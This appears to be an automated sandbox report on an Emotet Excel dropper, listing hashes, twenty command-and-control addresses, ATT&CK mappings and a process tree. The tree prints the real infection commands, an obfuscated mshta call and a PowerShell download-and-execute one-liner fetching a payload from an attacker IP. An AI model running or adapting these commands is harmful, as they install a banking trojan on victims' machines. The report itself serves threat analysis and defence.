emotet | a1d4e9c497ec94e9c1182741b7096c47396c0057014747c17e618e82538eae72

General

Target

a1d4e9c497ec94e9c1182741b7096c47396c0057014747c17e618e82538eae72.xls
Size

142KB
MD5

93de92f3e2868b196ea53446264d69e9
SHA1

5a222d7fc81852ec5fb1ca0abca5fb7810e97299
SHA256

a1d4e9c497ec94e9c1182741b7096c47396c0057014747c17e618e82538eae72
SHA512

e0e3a2ca736ff74a5d756867a8c0418415a0f74fbb134ff09da468fe20a11c105ad9a230b8b05b9b3b45967f5afaedf1243f1f451c078bdc96d04adca7cc994e

Score

10^/10

emotet epoch4 banker trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fer.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://185.7.214.7/fer/fer.png

Extracted

Family

emotet

Botnet

Epoch4

C2

131.100.24.231:80

209.59.138.75:7080

103.8.26.103:8080

51.38.71.0:443

212.237.17.99:8080

79.172.212.216:8080

207.38.84.195:8080

104.168.155.129:8080

178.79.147.66:8080

46.55.222.11:443

103.8.26.102:8080

192.254.71.210:443

45.176.232.124:443

203.114.109.124:443

51.68.175.8:8080

58.227.42.236:80

45.142.114.231:8080

217.182.143.207:443

178.63.25.185:443

45.118.115.99:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1560	2716	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 6 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

32 2088 mshta.exe
35 3824 powershell.exe
37 3824 powershell.exe
39 3824 powershell.exe
44 1684 rundll32.exe
46 1684 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 2 IoCs

Processes:

rundll32.exerundll32.exe

pid process

360 rundll32.exe
60 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Crvoqfc\aofyzkfubptguq.mtv rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

2736 2088 WerFault.exe mshta.exe

flow	pid	process
32	2088	mshta.exe
35	3824	powershell.exe
37	3824	powershell.exe
39	3824	powershell.exe
44	1684	rundll32.exe
46	1684	rundll32.exe

pid	process
360	rundll32.exe
60	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Crvoqfc\aofyzkfubptguq.mtv	rundll32.exe

pid	pid_target	process	target process
2736	2088	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2716 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

WerFault.exepowershell.exerundll32.exe

pid	process
2736	WerFault.exe
2736	WerFault.exe
2736	WerFault.exe
2736	WerFault.exe
2736	WerFault.exe
2736	WerFault.exe
2736	WerFault.exe
2736	WerFault.exe
2736	WerFault.exe
2736	WerFault.exe
2736	WerFault.exe
2736	WerFault.exe
2736	WerFault.exe
2736	WerFault.exe
3824	powershell.exe
3824	powershell.exe
3824	powershell.exe
1684	rundll32.exe
1684	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

WerFault.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2736 WerFault.exe
Token: SeDebugPrivilege 3824 powershell.exe

description	pid	process
Token: SeDebugPrivilege	2736	WerFault.exe
Token: SeDebugPrivilege	3824	powershell.exe

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
2716	EXCEL.EXE
2716	EXCEL.EXE
2716	EXCEL.EXE
2716	EXCEL.EXE
2716	EXCEL.EXE
2716	EXCEL.EXE
2716	EXCEL.EXE
2716	EXCEL.EXE
2716	EXCEL.EXE
2716	EXCEL.EXE
2716	EXCEL.EXE
2716	EXCEL.EXE
2716	EXCEL.EXE

Suspicious use of WriteProcessMemory 22 IoCs

Processes:

EXCEL.EXEcmd.exemshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 2716 wrote to memory of 3844	2716	EXCEL.EXE	splwow64.exe
PID 2716 wrote to memory of 3844	2716	EXCEL.EXE	splwow64.exe
PID 2716 wrote to memory of 1560	2716	EXCEL.EXE	cmd.exe
PID 2716 wrote to memory of 1560	2716	EXCEL.EXE	cmd.exe
PID 1560 wrote to memory of 2088	1560	cmd.exe	mshta.exe
PID 1560 wrote to memory of 2088	1560	cmd.exe	mshta.exe
PID 2088 wrote to memory of 3824	2088	mshta.exe	powershell.exe
PID 2088 wrote to memory of 3824	2088	mshta.exe	powershell.exe
PID 3824 wrote to memory of 876	3824	powershell.exe	cmd.exe
PID 3824 wrote to memory of 876	3824	powershell.exe	cmd.exe
PID 876 wrote to memory of 360	876	cmd.exe	rundll32.exe
PID 876 wrote to memory of 360	876	cmd.exe	rundll32.exe
PID 876 wrote to memory of 360	876	cmd.exe	rundll32.exe
PID 360 wrote to memory of 60	360	rundll32.exe	rundll32.exe
PID 360 wrote to memory of 60	360	rundll32.exe	rundll32.exe
PID 360 wrote to memory of 60	360	rundll32.exe	rundll32.exe
PID 60 wrote to memory of 4040	60	rundll32.exe	rundll32.exe
PID 60 wrote to memory of 4040	60	rundll32.exe	rundll32.exe
PID 60 wrote to memory of 4040	60	rundll32.exe	rundll32.exe
PID 4040 wrote to memory of 1684	4040	rundll32.exe	rundll32.exe
PID 4040 wrote to memory of 1684	4040	rundll32.exe	rundll32.exe
PID 4040 wrote to memory of 1684	4040	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\a1d4e9c497ec94e9c1182741b7096c47396c0057014747c17e618e82538eae72.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2716
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:3844
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1560
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fer.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:2088
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3824
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:876
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:360
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:60
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Crvoqfc\aofyzkfubptguq.mtv",WlePrSKpdwagKC
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:4040
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Crvoqfc\aofyzkfubptguq.mtv",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:1684
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 2088 -s 1660
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2736

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Public\Documents\ssd.dll

MD5
321380dc019516dfff7c977712f3c4cc

SHA1
88a64b3ff6a5cc01696672a3c880a4753acaf330

SHA256
2200463c1d38d5aab53073663fb65625a6c6df671ac9c26ff35e6567cbc588a9

SHA512
15fc392df12e787e503b14f957b00ef703de66e2a5e7029d6a2a5a3d443ee33ba19429f8f140c3f9d9c4175ab7d3c01079417b21051cdc033eda9b81ff5dd763

Download Submit
\Users\Public\Documents\ssd.dll

MD5
321380dc019516dfff7c977712f3c4cc

SHA1
88a64b3ff6a5cc01696672a3c880a4753acaf330

SHA256
2200463c1d38d5aab53073663fb65625a6c6df671ac9c26ff35e6567cbc588a9

SHA512
15fc392df12e787e503b14f957b00ef703de66e2a5e7029d6a2a5a3d443ee33ba19429f8f140c3f9d9c4175ab7d3c01079417b21051cdc033eda9b81ff5dd763

Download Submit
\Users\Public\Documents\ssd.dll

MD5
321380dc019516dfff7c977712f3c4cc

SHA1
88a64b3ff6a5cc01696672a3c880a4753acaf330

SHA256
2200463c1d38d5aab53073663fb65625a6c6df671ac9c26ff35e6567cbc588a9

SHA512
15fc392df12e787e503b14f957b00ef703de66e2a5e7029d6a2a5a3d443ee33ba19429f8f140c3f9d9c4175ab7d3c01079417b21051cdc033eda9b81ff5dd763

Download Submit
memory/60-552-0x0000000004820000-0x0000000004846000-memory.dmp

Filesize
152KB

Download
memory/60-563-0x0000000004740000-0x0000000004766000-memory.dmp

Filesize
152KB

Download
memory/60-561-0x0000000004970000-0x0000000004996000-memory.dmp

Filesize
152KB

Download
memory/60-550-0x00000000047C0000-0x00000000047E6000-memory.dmp

Filesize
152KB

Download
memory/60-548-0x0000000004660000-0x0000000004686000-memory.dmp

Filesize
152KB

Download
memory/60-545-0x00000000040E0000-0x0000000004106000-memory.dmp

Filesize
152KB

Download
memory/60-543-0x0000000000080000-0x00000000000A6000-memory.dmp

Filesize
152KB

Download
memory/360-540-0x00000000031E0000-0x0000000003206000-memory.dmp

Filesize
152KB

Download
memory/1684-566-0x0000000004D90000-0x0000000004DB6000-memory.dmp

Filesize
152KB

Download
memory/2716-118-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

Filesize
64KB

Download
memory/2716-130-0x00007FFB6A440000-0x00007FFB6A450000-memory.dmp

Filesize
64KB

Download
memory/2716-119-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

Filesize
64KB

Download
memory/2716-599-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

Filesize
64KB

Download
memory/2716-121-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

Filesize
64KB

Download
memory/2716-598-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

Filesize
64KB

Download
memory/2716-597-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

Filesize
64KB

Download
memory/2716-596-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

Filesize
64KB

Download
memory/2716-120-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

Filesize
64KB

Download
memory/2716-117-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

Filesize
64KB

Download
memory/2716-131-0x00007FFB6A440000-0x00007FFB6A450000-memory.dmp

Filesize
64KB

Download
memory/3824-486-0x00000252DA010000-0x00000252DA032000-memory.dmp

Filesize
136KB

Download
memory/3824-505-0x00000252DA400000-0x00000252DA43C000-memory.dmp

Filesize
240KB

Download
memory/3824-516-0x00000252DA4C0000-0x00000252DA536000-memory.dmp

Filesize
472KB

Download
memory/3824-531-0x00000252C1E00000-0x00000252D9FE0000-memory.dmp

Filesize
385.9MB

Download
memory/3824-536-0x00000252C1E00000-0x00000252D9FE0000-memory.dmp

Filesize
385.9MB

Download
memory/3824-537-0x00000252C1E00000-0x00000252D9FE0000-memory.dmp

Filesize
385.9MB

Download
memory/4040-564-0x00000000044C0000-0x00000000044E6000-memory.dmp

Filesize
152KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads